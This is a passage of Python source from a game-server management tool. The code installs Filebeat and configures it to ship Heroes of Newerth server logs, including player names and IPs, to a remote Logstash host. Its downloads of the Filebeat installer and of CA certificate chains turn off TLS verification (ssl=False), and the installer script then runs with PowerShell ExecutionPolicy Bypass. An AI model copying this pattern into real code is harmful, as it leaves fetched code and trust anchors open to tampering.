   f.write(\"deb https://artifacts.elastic.co/packages/8.x/apt stable main\\n\")\n        subprocess.run([\"sudo\", \"tee\", \"-a\", \"/etc/apt/sources.list.d/elastic-8.x.list\"], input=\"deb https://artifacts.elastic.co/packages/8.x/apt stable main\\n\", text=True, check=True)\n\n    # Update package lists for upgrades for packages that need upgrading\n    await run_command([\"sudo\", \"apt-get\", \"update\"])\n\n    # Install filebeat\n    await run_command([\"sudo\", \"apt-get\", \"install\", \"filebeat\"])\n    return True\n\nasync def install_filebeat_windows():\n    def run_powershell_installer(filebeat_install_dir):\n        command = [\n            \"powershell.exe\",\n            \"-ExecutionPolicy\",\n            \"Bypass\",\n            \"-File\",\n            str(Path(filebeat_install_dir) / \"install-service-filebeat.ps1\")\n        ]\n        \n        # Run the command in a subprocess\n        process = subprocess.Popen(\n            command,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n            shell=True\n        )\n\n        # Wait for the subprocess to finish\n        stdout, stderr = process.communicate()\n\n        return process.returncode, stdout, stderr\n    # Download and install Filebeat using Python\n    with tempfile.TemporaryDirectory() as temp_dir:\n        zip_file = os.path.join(temp_dir, \"filebeat-8.8.2-windows-x86_64.zip\")\n        url = \"https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-8.8.2-windows-x86_64.zip\"\n\n        # Download the Filebeat ZIP file\n        async with aiohttp.ClientSession() as session:\n            async with session.get(url, ssl=False) as response:\n                if response.status == 200:\n                    content = await response.read()\n                    async with aiofiles.open(zip_file, \"wb\") as file:\n                        await file.write(content)\n                    print_or_log('info',\"Filebeat ZIP file downloaded successfully.\")\n                else:\n                    print_or_log('error',\"Failed to download Filebeat ZIP file.\")\n\n        # Extract ZIP contents to temporary folder\n        temp_extract_folder = os.path.join(temp_dir, \"filebeat-extract\")\n        with zipfile.ZipFile(zip_file, \"r\") as zip_ref:\n            zip_ref.extractall(temp_extract_folder)\n        print_or_log('info',\"Filebeat ZIP file extracted successfully.\")\n\n        # Move extracted files to destination folder\n        extracted_folder = os.listdir(temp_extract_folder)[0]\n        source_folder = os.path.join(temp_extract_folder, extracted_folder)\n\n        # Create destination folder if it doesn't exist\n        if not os.path.exists(windows_filebeat_install_dir):\n            os.makedirs(windows_filebeat_install_dir)\n            print_or_log('info',f\"Created destination folder: {windows_filebeat_install_dir}\")\n\n        extracted_files = os.listdir(source_folder)\n        for file in extracted_files:\n            source_path = os.path.join(source_folder, file)\n            destination_path = os.path.join(windows_filebeat_install_dir, os.path.basename(file))\n            shutil.move(source_path, destination_path)\n        print_or_log('info',f\"Filebeat installed successfully at: {windows_filebeat_install_dir}\")\n\n        loop = asyncio.get_running_loop()\n    \n        # Use the default ThreadPoolExecutor\n        returncode, stdout, stderr = await loop.run_in_executor(\n            None,  # Uses the default executor\n            run_powershell_installer,\n            windows_filebeat_install_dir\n        )\n        \n        # Process the results\n        if returncode == 0:\n            print_or_log('info', \"Filebeat service installed successfully.\")\n        else:\n            print_or_log('error', f\"Failed to install Filebeat service. Error: {stderr.decode()}\")\n\n        # Remove the extracted folder\n        os.rmdir(source_folder)\n        print_or_log('info',\"Extracted folder removed.\")\n        return True\n\nasync def uninstall_filebeat_linux():\n    # Uninstall Filebeat on Linux\n    # subprocess.run([\"sudo\", \"systemctl\", \"stop\", \"filebeat\"])\n    await run_command([\"sudo\", \"systemctl\", \"stop\", \"filebeat\"])\n    # subprocess.run([\"sudo\", \"apt-get\", \"remove\", \"filebeat\"])\n    await run_command([\"sudo\", \"apt-get\", \"remove\", \"filebeat\"])\n\nasync def uninstall_filebeat_windows():\n    filebeat_install_dir = os.path.join(os.environ[\"ProgramFiles\"], \"FileBeat\")\n    if os.path.exists(Path(filebeat_install_dir) / \"filebeat.exe\"):\n        command = [\n            \"powershell.exe\",\n            \"-ExecutionPolicy\",\n            \"Bypass\",\n            \"-File\",\n            str(Path(filebeat_install_dir) / \"uninstall-service-filebeat.ps1\")\n        ]\n\n        # result = subprocess.run(command, capture_output=True, text=True)\n        result = await run_command(command)\n\n        if result.returncode == 0:\n            shutil.rmtree(filebeat_install_dir)\n            print_or_log('info',\"Filebeat uninstalled successfully.\")\n        else:\n            print_or_log('info',\"Failed to uninstall Filebeat.\")\n    else:\n        print_or_log('info',\"Filebeat is not installed.\")\n\ndef get_process_environment(process,var):\n    # process = psutil.Process(pid)\n    env_vars = process.environ()\n\n    # Access specific environmental variables\n    requested_env = env_vars.get(var)\n\n    return requested_env\n\ndef check_process(process_name, exclude = []):\n    for process in psutil.process_iter(['name']):\n        if process.info['name'] == process_name:\n            if process not in exclude:\n                return process\n\n    return None\n\ndef extract_settings_from_commandline(commandline, setting):\n    result = None\n\n    # Construct the regex pattern dynamically using the provided setting\n    pattern = r'Set {} ([^;]+)'.format(setting)\n\n    # Find the occurrence of the setting in the command line\n    for _ in commandline:\n        match = re.search(pattern, _)\n        if match: break\n\n    # Extract the value if a match is found\n    if match:\n        result = match.group(1)\n\n    return result\n\ndef check_certificate_exists(crt_path, key_path):\n    certificate_exists = Path(crt_path).is_file() and Path(key_path).is_file()\n    return certificate_exists\n\nasync def request_client_certificate(svr_name, filebeat_path):\n\n    try:\n        # Check if the certificate files already exist\n        csr_file_path = get_filebeat_csr_path()\n        crt_file_path = get_filebeat_crt_path()\n        key_file_path = get_filebeat_key_path()\n        certificate_exists = check_certificate_exists(crt_file_path, key_file_path)\n\n        if certificate_exists:\n            if step_certificate.is_certificate_expiring(crt_file_path):\n                print_or_log('info',\"Renewing existing client certificate...\")\n                # Construct the command for certificate renewal\n                result = step_certificate.renew_certificate(crt_file_path,key_file_path)\n                if (isinstance(result,bool) and result) or result.returncode == 0:\n                    await restart_filebeat(filebeat_changed=True,silent=False)\n                    return True\n                else:\n                    # Certificate request failed\n                    error_message = result.stderr.strip()\n                    print_or_log('info',f\"Error: {error_message}\")\n                    return False\n\n            elif step_certificate.is_certificate_expired(crt_file_path):\n                pass\n            else:\n                return True\n            \n        print_or_log('info',\"Requesting new client certificate...\")\n        # Construct the command for new certificate request\n        if __name__ == \"__main__\":\n            return await step_certificate.discord_oauth_flow_stepca(svr_name, csr_file_path, crt_file_path, key_file_path)\n\n        else:\n            return await step_certificate.discord_oauth_flow_stepca(svr_name, csr_file_path, crt_file_path, key_file_path, token=get_filebeat_auth_token())\n\n    except Exception as e:\n        print_or_log('error',f\"Encountered an error while requesting a client certificate. {traceback.format_exc()}\")\n\nasync def get_discord_user_id_from_api(discord_id):\n    api_url = f'https://management.honfigurator.app:3001/api-ui/getDiscordUsername/{discord_id}'\n\n    try:\n        async with aiohttp.ClientSession() as session:\n            async with session.get(api_url, ssl=False) as response:\n                if response.status == 200:\n                    data = await response.json()\n                    return data.get('username')\n                else:\n                    print_or_log(\"error\",\"Failed to get Discord username for ID: {discord_id}\")\n                    return None\n    except aiohttp.ClientError as e:\n        print_or_log(\"error\",\"Error occurred while making the API request: {e}\")\n        return None\n\nasync def get_public_ip():\n    providers = ['http://4.ident.me', 'https://4.ident.me', 'https://api.ipify.org', 'https://api.ipify.org', 'https://ifconfig.me','https://myexternalip.com/raw','https://wtfismyip.com/text']\n    timeout = aiohttp.ClientTimeout(total=5)  # Set the timeout for the request in seconds\n\n    async with aiohttp.ClientSession(timeout=timeout) as session:\n        for provider in providers:\n            try:\n                async with session.get(provider, ssl=False) as response:\n                    if response.status == 200:\n                        ip_str = await response.text()\n                        try:\n                            # Try to construct an IP address object. If it fails, this is not a valid IP.\n                            ipaddress.ip_address(ip_str)\n                            return ip_str\n                        except ValueError:\n                            print_or_log('warn',f\"Invalid IP received from {provider}. Trying another provider...\")\n            except asyncio.TimeoutError:\n                print_or_log('warn',f\"Timeout when trying to fetch IP from {provider}. Trying another provider...\")\n                continue\n            except Exception as e:\n                print_or_log('warn',f\"Error occurred when trying to fetch IP from {provider}: {e}\")\n                continue\n\n    LOGGER.critical(\"Tried all public IP providers and could not determine public IP address. This will most likely cause issues.\")\n    return None\n\n\nasync def configure_filebeat(silent=False,test=False):\n    def get_log_paths(process):\n        if operating_system == \"Windows\":\n            slave_log = Path(get_process_environment(process,\"USERPROFILE\")) / \"Documents\" / \"Heroes of Newerth x64\" / \"KONGOR\" / \"logs\" / \"*.clog\"\n            match_log = Path(get_process_environment(process,\"USERPROFILE\")) / \"Documents\" / \"Heroes of Newerth x64\" / \"KONGOR\" / \"logs\" / \"M*.log\"\n            diagnostic_log = Path(get_process_environment(process,\"USERPROFILE\")) / \"Documents\" / \"Heroes of Newerth x64\" / \"KONGOR\" / \"logs\" / \"diagnostics\" / \"M*.log\"\n        else:\n            slave_log = Path(process.cwd()).parent / \"config\" / \"KONGOR\" / \"logs\" / \"*.clog\"\n            match_log = Path(process.cwd()).parent / \"config\" / \"KONGOR\" / \"logs\" / \"M*.log\"\n            diagnostic_log = Path(process.cwd()).parent / \"config\" / \"KONGOR\" / \"logs\" / \"diagnostics\" / \"M*.log\"\n        \n        return slave_log, match_log, diagnostic_log\n    \n    def perform_config_replacements(svr_name, svr_location, slave_log, match_log, diagnostic_log, launcher, external_ip, existing_discord_id, looked_up_discord_username, destination_folder):\n        server_values = {\n            'Name': svr_name,\n            'Launcher': launcher,\n            'Admin': looked_up_discord_username if looked_up_discord_username and not isinstance(looked_up_discord_username,bool) else existing_discord_id,\n            'Region': svr_location,\n            'Public_IP': external_ip if __name__ == \"__main__\" else global_config['hon_data']['svr_ip'],\n            'HoN_User': global_config['hon_data']['svr_login'],\n            'Servers_per_Core': global_config['hon_data']['svr_total_per_core'],\n            'CPU': global_config['system_data']['cpu_name'],\n            'CPU_Num_Cores': global_config['system_data']['cpu_count'],\n            'RAM': global_config['system_data']['total_ram'],\n            'Priority': global_config['hon_data']['svr_priority'],\n            'Affinity_Override': global_config['hon_data']['svr_override_affinity'] if operating_system == 'Windows' else None,\n            'BotMatch_Allowed': global_config['hon_data']['svr_enableBotMatch'],\n            'HoN_Server_Version': MISC.get_svr_version(global_config['hon_data']['hon_executable_path']),\n            'Proxy_Enabled': global_config['hon_data']['man_enableProxy'] if 'man_enableProxy' in global_config else False\n        }\n        honfigurator_values = {\n            'GitHub_Branch': MISC.github_branch,\n            'Version': MISC.get_github_tag(),\n            'API_Port': global_config['hon_data']['svr_api_port'],\n        }\n\n        filebeat_inputs = {}\n        filebeat_inputs['slave_logs'] = \\\n        {\n            'type': 'filestream',\n            'id': 'slave_logs',\n            'enabled': True,\n            'paths': [str(Path(slave_log))],\n            'ignore_older': '24h',\n            'scan_frequency': '60s',\n            'exclude_files': '[\".gz$\"]',\n            'fields_under_root': True,\n            'include_lines': [\n                r'Error: \\[\\d{2}:\\d{2}:\\d{2}\\] CPacket::Write\\(\\) - Exceeded MAX_PACKET_SIZE while writing data: \"0x[0-9a-fA-F]+\", length: \\d+', \n                r'Warning: \\[\\d{2}:\\d{2}:\\d{2}\\] Client #\\d+ is flooding',\n                r'Sv: \\[\\d{2}:\\d{2}:\\d{2}\\] Client #\\d+ disconnected: disconnect_timed_out',\n                r'Sv: \\[\\d{2}:\\d{2}:\\d{2}\\] Client #\\d+ timing out', \n                r'Sv: \\[\\d{2}:\\d{2}:\\d{2}\\] Name: .+', \n                r'Sv: \\[\\d{2}:\\d{2}:\\d{2}\\] IP: \\d+\\.\\d+\\.\\d+\\.\\d+',\n                r'\\[.*\\] \\[\\d{2}:\\d{2}:\\d{2}\\] >.*'\n            ],\n            'fields': {\n                'Server': server_values,\n                'HoNfigurator': honfigurator_values,\n                'Log_Type': 'console'\n            }\n        }\n\n        filebeat_inputs['match_logs'] = \\\n        {\n            'type': 'filestream',\n            'id': 'match_logs',\n            'enabled': True,\n            'paths': [str(Path(match_log))],\n            'ignore_older': '24h',\n            'scan_frequency': '60s',\n            'exclude_files': '[\".gz$\"]',\n            'fields_under_root': True,\n            'fields': {\n                'Server': server_values,\n                'HoNfigurator': honfigurator_values,\n                'Log_Type': 'match'\n            },\n            'include_lines': ['PLAYER_CHAT','PLAYER_CONNECT','PLAYER_TEAM_CHANGE','PLAYER_SELECT','PLAYER_RANDOM','PLAYER_SWAP','INFO_SETTINGS', 'INFO_MAP', 'INFO_MATCH', 'PLAYER_CALL_VOTE', 'HERO_DEATH', 'GAME_CONCEDE', 'GAME_END']\n        }\n\n        filebeat_inputs['diagnostic_logs'] = {\n            'type': 'filestream',\n            'id': 'diagnostic_logs',\n            'enabled': True,\n            'paths': [str(Path(diagnostic_log))],\n            'ignore_older': '24h',\n            'scan_frequency': '60s',\n            'exclude_files': '[\".gz$\"]',\n            'fields_under_root': True,\n            'fields': {\n                'Server': server_values,\n                'HoNfigurator': honfigurator_values,\n                'Log_Type': 'diagnostic'\n            },\n            'processors': [\n                {\n                    'drop_event': {\n                        'when': {\n                            'not': {\n                                'or': [\n                                    {'regexp': {'message': '.*:.*:0[0-5].*'}},\n                                    {'regexp': {'message': '.*:.*:2[0-5].*'}},\n                                    {'regexp': {'message': '.*:.*:4[0-5].*'}}\n                                ]\n                            }\n                        }\n                    }\n                }\n            ]\n        }\n        \n        if global_config:\n            if operating_system == \"Windows\" and global_config['hon_data']['man_enableProxy']:\n                filebeat_inputs['proxy_logs'] = \\\n                {\n                    'type': 'filestream',\n                    'id': 'proxy_logs',\n                    'enabled': True,\n                    'paths': [str(Path(global_config['hon_data']['hon_artefacts_directory'] / 'HoNProxyManager' / 'proxy*.log'))],\n                    'ignore_older': '24h',\n                    'scan_frequency': '60s',\n                    'exclude_files': '[\".gz$\"]',\n                    'fields_under_root': True,\n                    'fields': {\n                        'Server': server_values,\n                        'HoNfigurator': honfigurator_values,\n                        'Log_Type': 'proxy'\n                    }\n                }\n\n            filebeat_inputs['honfigurator_logs'] = \\\n            {\n                'type': 'filestream',\n                'id': 'honfigurator_logs',\n                'enabled': True,\n                'paths': [str(Path(get_home() / 'logs' / 'server.log'))],\n                'ignore_older': '24h',\n                'scan_frequency': '60s',\n                'exclude_files': '[\".gz$\"]',\n                'exclude_lines': ['DEBUG'],\n                'fields_under_root': True,\n                'fields': {\n                    'Server': server_values,\n                    'HoNfigurator': honfigurator_values,\n                    'Log_Type': 'honfigurator'\n                },\n                'parsers': [\n                    {\n                        'multiline': {\n                            'type': 'pattern',\n                            'pattern': '^\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2},\\d{3}',\n                            'negate': True,\n                            'match': 'after'\n                        }\n                    }\n                ]\n            }\n        \n        if operating_system == \"Windows\":\n            filebeat_inputs['slave_logs']['encoding'] = 'utf-16le'\n            filebeat_inputs['match_logs']['encoding'] = 'utf-16le'\n            filebeat_inputs['diagnostic_logs']['encoding'] = 'utf-16le'\n            if 'proxy_logs' in filebeat_inputs:\n                filebeat_inputs['proxy_logs']['encoding'] = 'utf-8' \n        else:\n            filebeat_inputs['slave_logs']['charset'] = 'BINARY'\n            filebeat_inputs['match_logs']['charset'] = 'BINARY'\n            filebeat_inputs['diagnostic_logs']['charset'] = 'BINARY'\n        if 'honfigurator_logs' in filebeat_inputs:\n            filebeat_inputs['honfigurator_logs']['encoding'] = 'utf-8'\n        \n        if global_config and not global_config['application_data']['filebeat']['send_diagnostics_data']:\n            del filebeat_inputs['diagnostic_logs']\n        \n        # disabling slave logs, given the MQTT implementation\n        # del filebeat_inputs['slave_logs']\n        \n        # disabling proxy logs for now, dont want extra noise yet\n        if 'proxy_logs' in filebeat_inputs:\n            del filebeat_inputs['proxy_logs']\n\n        filebeat_config = {\n            'filebeat.inputs': list(filebeat_inputs.values()),\n            'filebeat.config.modules': {\n                'path': '${path.config}/modules.d/*.yml',\n                'reload.enabled': False\n            },\n            'setup.template.settings': {\n                'index.number_of_shards': '1'\n            },\n            'output.logstash': {\n                'hosts': 'logstash.honfigurator.app:5044',\n                'ssl.certificate_authorities': str(Path(destination_folder) / \"honfigurator-chain.pem\"),\n                'ssl.certificate': str(Path(destination_folder) / \"client.crt\"),\n                'ssl.key': str(Path(destination_folder) / \"client.key\"),\n                'compression_level': 3\n            },\n            'processors': [\n                {'add_host_metadata': {'when.not.contains.tags': 'forwarded'}},\n                {'add_locale': None}\n            ],\n            'filebeat.registry.flush': '60s'\n        }\n\n        yaml_config = yaml.dump(filebeat_config)\n        return yaml_config.encode('utf-8')\n\n    external_ip = await get_public_ip()\n    if not external_ip:\n        print_or_log('error','Obtaining public IP address failed.')\n\n    honfigurator_ca_chain_url = \"https://honfigurator.app/honfigurator-chain.pem\"\n    honfigurator_ca_chain_bundle_url = \"https://honfigurator.app/honfigurator-chain-bundle.pem\"\n\n    destination_folder = get_filebeat_path()\n    config_folder = destination_folder if operating_system == \"Windows\" else \"/etc/filebeat\"\n\n    os.makedirs(destination_folder, exist_ok=True)\n\n    async with aiohttp.ClientSession() as session:\n        async with session.get(honfigurator_ca_chain_url, ssl=False) as response:\n            if response.status == 200:\n                content = await response.read()\n                async with aiofiles.open(Path(destination_folder) / \"honfigurator-chain.pem\", 'wb') as chain_file:\n                    await chain_file.write(content)\n        async with session.get(honfigurator_ca_chain_bundle_url, ssl=False) as response:\n            if response.status == 200:\n                content = await response.read()\n                async with aiofiles.open(Path(destination_folder) / \"honfigurator-chain-bundle.pem\", 'wb') as chain_file:\n                    await chain_file.write(content)\n    \n    config_file_path = os.path.join(config_folder, \"filebeat.yml\")\n\n    exclude = []\n\n    i=0\n\n    svr_name = None\n    svr_location = None\n    svr_desc = None\n    slave_log = None\n    match_log = None\n    diagnostic_log = None\n\n    if global_config is not None and 'hon_data' in global_config:\n        svr_name = global_config['hon_data'].get('svr_name')\n        svr_location = global_config['hon_data'].get('svr_location')\n        svr_desc = 'using honfigurator' # this is a placeholder basically, so it knows it's honfigurator.\n        \n        slave_log = str(Path(global_config['hon_data'].get('hon_logs_directory')) / \"*.clog\")\n        match_log = str(Path(global_config['hon_data'].get('hon_logs_directory')) / \"*.log\")\n        diagnostic_log = str(Path(global_config['hon_data'].get('hon_logs_directory')) / \"diagnostics\" / \"*.log\")\n\n    if svr_name is None or svr_location is None:\n    \n        while not stop_event.is_set():\n            print_or_log('info',f\"Scanning for running hon executable.. timeout {i}/30 seconds\")\n            i+=1\n            await asyncio.sleep(1)\n            process = check_process(\"hon_x64.exe\" if not global_config else global_config['hon_data']['hon_executable_name'], exclude) if operating_system == \"Windows\" else check_process(\"hon-x86_64-server\" if not global_config else global_config['hon_data']['hon_executable_name'], exclude)\n            if process and len(process.cmdline()) > 4:\n                break\n            elif process and len(process.cmdline()) < 4 and process not in exclude:\n                exclude.append(process)\n                print_or_log('info',f\"Excluded {process.pid}\\n\\t{process.cmdline()}\")\n\n            if i >=30:\n                print_or_log('info',\"Please ensure your hon server is running prior to launching the script.\")\n                return\n    \n    # Perform text replacements\n    if not svr_name: svr_name = extract_settings_from_commandline(process.cmdline(), \"svr_name\")\n    space_count = svr_name.count(' ')\n    svr_name = svr_name.rsplit(' ', 2)[0] if space_count >= 2 else svr_name\n    if not svr_location: svr_location = extract_settings_from_commandline(process.cmdline(), \"svr_location\")\n\n    if not slave_log: slave_log, match_log, diagnostic_log = get_log_paths(process)\n    if not svr_desc: svr_desc = extract_settings_from_commandline(process.cmdline(),\"svr_description\")\n    launcher = \"HoNfigurator\" if svr_desc else \"COMPEL\"\n\n    looked_up_discord_username = await request_client_certificate(svr_name, Path(destination_folder))\n        \n    existing_discord_id, old_config_hash = None, None\n    if os.path.exists(config_file_path):\n        old_config_hash = calculate_file_hash(config_file_path)\n        existing_discord_id = read_admin_value_from_filebeat_config(config_file_path)\n    \n    if not existing_discord_id and isinstance(looked_up_discord_username,bool):\n        if roles_database:\n            looked_up_discord_username = await get_discord_user_id_from_api(roles_database.get_discord_owner_id())\n        else:\n            looked_up_discord_username = await step_certificate.discord_oauth_flow_stepca(svr_name, get_filebeat_csr_path(), get_filebeat_crt_path(), get_filebeat_key_path(),get_filebeat_auth_token())\n    \n    if not looked_up_discord_username:\n        print_or_log('error', 'Failed to obtain discord user information and finish setting up the server for game server log submission.')\n        return\n        \n    filebeat_config = perform_config_replacements(svr_name, svr_location, slave_log, match_log, diagnostic_log, launcher, external_ip, existing_discord_id, looked_up_discord_username, destination_folder)\n\n    temp_dir = tempfile.TemporaryDirectory()\n    temp_file_path = Path(temp_dir.name) / 'filebeat.yml'\n    async with aiofiles.open(temp_file_path, 'wb') as temp_file:\n        await temp_file.write(filebeat_config)\n\n    new_config_hash = calculate_file_hash(temp_file_path)\n\n    if old_config_hash != new_config_hash:\n        shutil.move(temp_file_path, config_file_path)\n        print_or_log('info',f\"Filebeat configuration file downloaded and placed at: {config_file_path}\")\n        return looked_up_discord_username\n    else:\n        print_or_log('debug',\"No configuration changes required\")\n        return False\n    \n\n# Constants for repeated strings\nSTARTED_SUCCESSFULLY = \"Filebeat started successfully.\"\nFAILED_START = \"Failed to start Filebeat.\"\nALREADY_RUNNING = \"Filebeat is already running.\"\nSTOPPED_SUCCESSFULLY = \"Filebeat stopped successfully.\"\nFAILED_STOP = \"Failed to stop Filebeat.\"\nALREADY_STOPPED = \"Filebeat is already stopped.\"\n\n\ndef run_command_sync(command_list):\n    # Use Popen to run the command in a subprocess, without shell=True\n    process = subprocess.Popen(command_list, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    stdout, stderr = process.communicate()\n    return process.returncode, stdout.decode(), stderr.decode()\n\nasync def run_command(command_list, success_message=None):\n    loop = asyncio.get_running_loop()\n\n    returncode, stdout, stderr = await loop.run_in_executor(\n        None,  # Uses the default executor\n        run_command_sync,\n        command_list\n    )\n\n    if returncode == 0:\n        if success_message:\n            print_or_log('info', success_message)\n        return returncode, stdout, stderr\n    else:\n        print_or_log('error', f\"Command: {' '.join(command_list)}\\nReturn code: {returncode}\\nError: {stderr}\")\n        return returncode, stdout, stderr\n\nasync def restart_filebeat(filebeat_changed, silent=False):\n    async def restart():\n        if operating_system == \"Windows\":\n            process_name = \"filebeat.exe\"\n            command_list = [\"powershell.exe\", \"Restart-Service\", \"-Name\", \"filebeat\"]\n            success_message = \"Filebeat service restarted successfully on Windows.\"\n            if await run_command(command_list, success_message):\n                return True\n\n        else:  # Linux\n            process_name = \"filebeat\"\n            stop_command_list = [\"sudo\", \"systemctl\", \"stop\", \"filebeat\"]\n            start_command_list = [\"sudo\", \"systemctl\", \"start\", \"filebeat\"]\n            if check_process(process_name):\n                await run_command(stop_command_list, STOPPED_SUCCESSFULLY)\n            if await run_command(start_command_list, STARTED_SUCCESSFULLY):\n                return True\n        \n    filebeat_running = False\n    if (operating_system == \"Windows\" and check_process(\"filebeat.exe\")) or (operating_system == \"Linux\" and check_process(\"filebeat\")):\n        filebeat_running = True\n\n    if silent:\n        # If silent, only restart filebeat if config has changed and it's currently running\n        if filebeat_changed and filebeat_running:\n            if await restart():\n                print_or_log('info',\"Setup complete! Please visit https://hon-elk.honfigurator.app:5601 to view server monitoring\")\n    else:\n        # If not silent, start filebeat if stopped, or restart if config changed\n        if filebeat_changed and filebeat_running:\n            if await restart():\n                print_or_log('info',\"Setup complete! Please visit https://hon-elk.honfigurator.app:5601 to view server monitoring\")\n        elif not filebeat_running:\n            await restart()\n\ndef add_cron_job(command):\n    # Get current cron jobs\n    current_crons = subprocess.run([\"crontab\", \"-l\"], text=True, capture_output=True).stdout\n    \n    # Don't add job if it's already there\n    if command in current_crons:\n        return\n    \n    with NamedTemporaryFile(delete=False) as tmp:\n        # Write current cron jobs into temporary file\n        tmp.write(current_crons.encode())\n        # Add new cron job\n        tmp.write(f\"\\n0 0 * * * {command}\\n\".encode())\n        \n    # Update cron jobs from the temporary file\n    subprocess.run([\"crontab\", tmp.name])\n    # Delete the temporary file\n    os.unlink(tmp.name)\n\n# Check the system\nasync def install_filebeat():\n    if operating_system == \"Windows\":\n        installed = await install_filebeat_windows()\n        return installed\n    elif operating_system == \"Linux\":\n        installed = await install_filebeat_linux()\n        return installed\n    else:\n        print_or_log('info',\"Unsupported operating system.\")\n        return False\n\ndef remove_cron_job(command):\n    try:\n        # output the current crontab to a temporary file\n        tmpfile = \"/tmp/crontab.txt\"\n        subprocess.run([\"crontab\", \"-l\"], stdout=open(tmpfile, 'w'))\n\n        # read the file, remove the line, and write it back out\n        with open(tmpfile, 'r') as f:\n            lines = f.readlines()\n        with open(tmpfile, 'w') as f:\n            for line in lines:\n                if command not in line:\n                    f.write(line)\n\n        # load the revised crontab\n        subprocess.run([\"crontab\", tmpfile])\n\n        # remove the temporary file\n        os.remove(tmpfile)\n\n    except Exception as e:\n        print_or_log('error',f\"Failed to remove cron job: {e}\")\n\nasync def main(config=None, from_main=True):\n    try:\n        global global_config\n\n        global_config = config\n        # Parse command-line arguments\n        parser = argparse.ArgumentParser()\n        parser.add_argument(\"-silent\", action=\"store_true\", help=\"Run in silent mode without asking for Discord ID\")\n        parser.add_argument(\"-test\", action=\"store_true\", help=\"Use an experimental filebeat configuration file\")\n        args = parser.parse_args()\n\n        if from_main:\n            print_or_log('info','Setting up Filebeat. This is used to submit game match logs for trend analysis and is required by game server hosts.')\n        \n        if not check_filebeat_installed():\n            await install_filebeat()\n        \n        if __name__ == \"__main__\":\n            await step_certificate.main(stop_event)\n        else: await step_certificate.main(stop_event, LOGGER, set_filebeat_auth_token, set_filebeat_auth_url)\n\n        filebeat_changed = False\n        if await configure_filebeat(silent=args.silent, test=args.test):\n            filebeat_changed = True\n            # Delete scheduled task on Windows\n            if operating_system == \"Windows\":\n                task_name = \"Filebeat Task\"\n\n                # Check if the task already exists\n                task_query = subprocess.run([\"schtasks\", \"/query\", \"/tn\", task_name], capture_output=True, text=True)\n                if \"ERROR: The system cannot find the file specified.\" not in task_query.stderr:\n                    # Delete the scheduled task\n                    subprocess.run([\"schtasks\", \"/delete\", \"/tn\", task_name, \"/f\"])\n                    print_or_log('info',\"Scheduled task deleted successfully.\")\n\n            # Delete cron job on Linux\n            if operating_system == \"Linux\":\n                script_path = os.path.abspath(__file__)\n                command = f\"python3 {script_path} -silent\"\n                remove_cron_job(command)\n                print_or_log('info',\"Cron job deleted successfully.\")\n\n        # if filebeat_changed:\n        certificate_exists = check_certificate_exists(get_filebeat_crt_path(), get_filebeat_key_path())\n        if certificate_exists:\n            await restart_filebeat(filebeat_changed, silent=args.silent)\n\n        if not __name__ == \"__main__\":\n            await filebeat_status()    # sets the overall status of filebeat for retreival by other components\n\n            # initialise MQTT\n            mqtt = MQTTHandler(global_config = global_config, certificate_path=get_filebeat_crt_path(), key_path=get_filebeat_key_path())\n            mqtt.connect()\n            if roles_database:\n                discord_username = await get_discord_user_id_from_api(roles_database.get_discord_owner_id())\n                mqtt.set_discord_id(discord_username)\n            set_mqtt(mqtt)\n            get_mqtt().publish_json(\"manager/admin\", {\"event_type\":\"initialisation_complete\"})\n        \n        return True\n\n    except asyncio.CancelledError:\n        # Perform any necessary cleanup or handling for cancellation here\n        print_or_log('info', 'Filebeat setup task was canceled. Performing cleanup...')\n        # Cleanup code goes here - can't think of any.\n        return  # suppress the CancelledError and not propagate it further\n\nif __name__ == \"__main__\":\n    asyncio.run(main())", "repo_name": "HoNfigurator/HoNfigurator-Central", "sub_path": "utilities/filebeat.py", "file_name": "filebeat.py", "file_ext": "py", "file_size_in_byte": 39466, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "asyncio.Event", "line_number": 26, "usage_type": "call"}, {"api_name": "cogs.misc.logger.get_logger", "line_number": 35, "usage_type": "call"}, {"api_name": "cogs.db.roles_db_connector.RolesDatabase", "line_number": 36, "usage_type": "call"}, {"api_name": "cogs.misc.logger.get_misc", "line_number": 37, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "hashlib.sha256", "line_number": 66, "usage_type": "call"}, {"api_name": "re.search", "line_number": 75, "usage_type": "call"}, {"api_name": "utilities.step_certificate.set_logger", "line_number": 82, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 90, "usage_type": "attribute"}, {"api_name": "utilities.step_certificate.get_certificate_valid_to", "line_number": 94, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 94, "usage_type": "name"}, {"api_name": "utilities.step_certificate.is_certificate_expired", "line_number": 96, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 96, "usage_type": "name"}, {"api_name": "utilities.step_certificate.is_certificate_expiring", "line_number": 99, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 99, "usage_type": "name"}, {"api_name": "cogs.misc.logger.get_filebeat_auth_url", "line_number": 119, "usage_type": "call"}, {"api_name": "cogs.misc.logger.set_filebeat_status", "line_number": 122, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 130, "usage_type": "attribute"}, 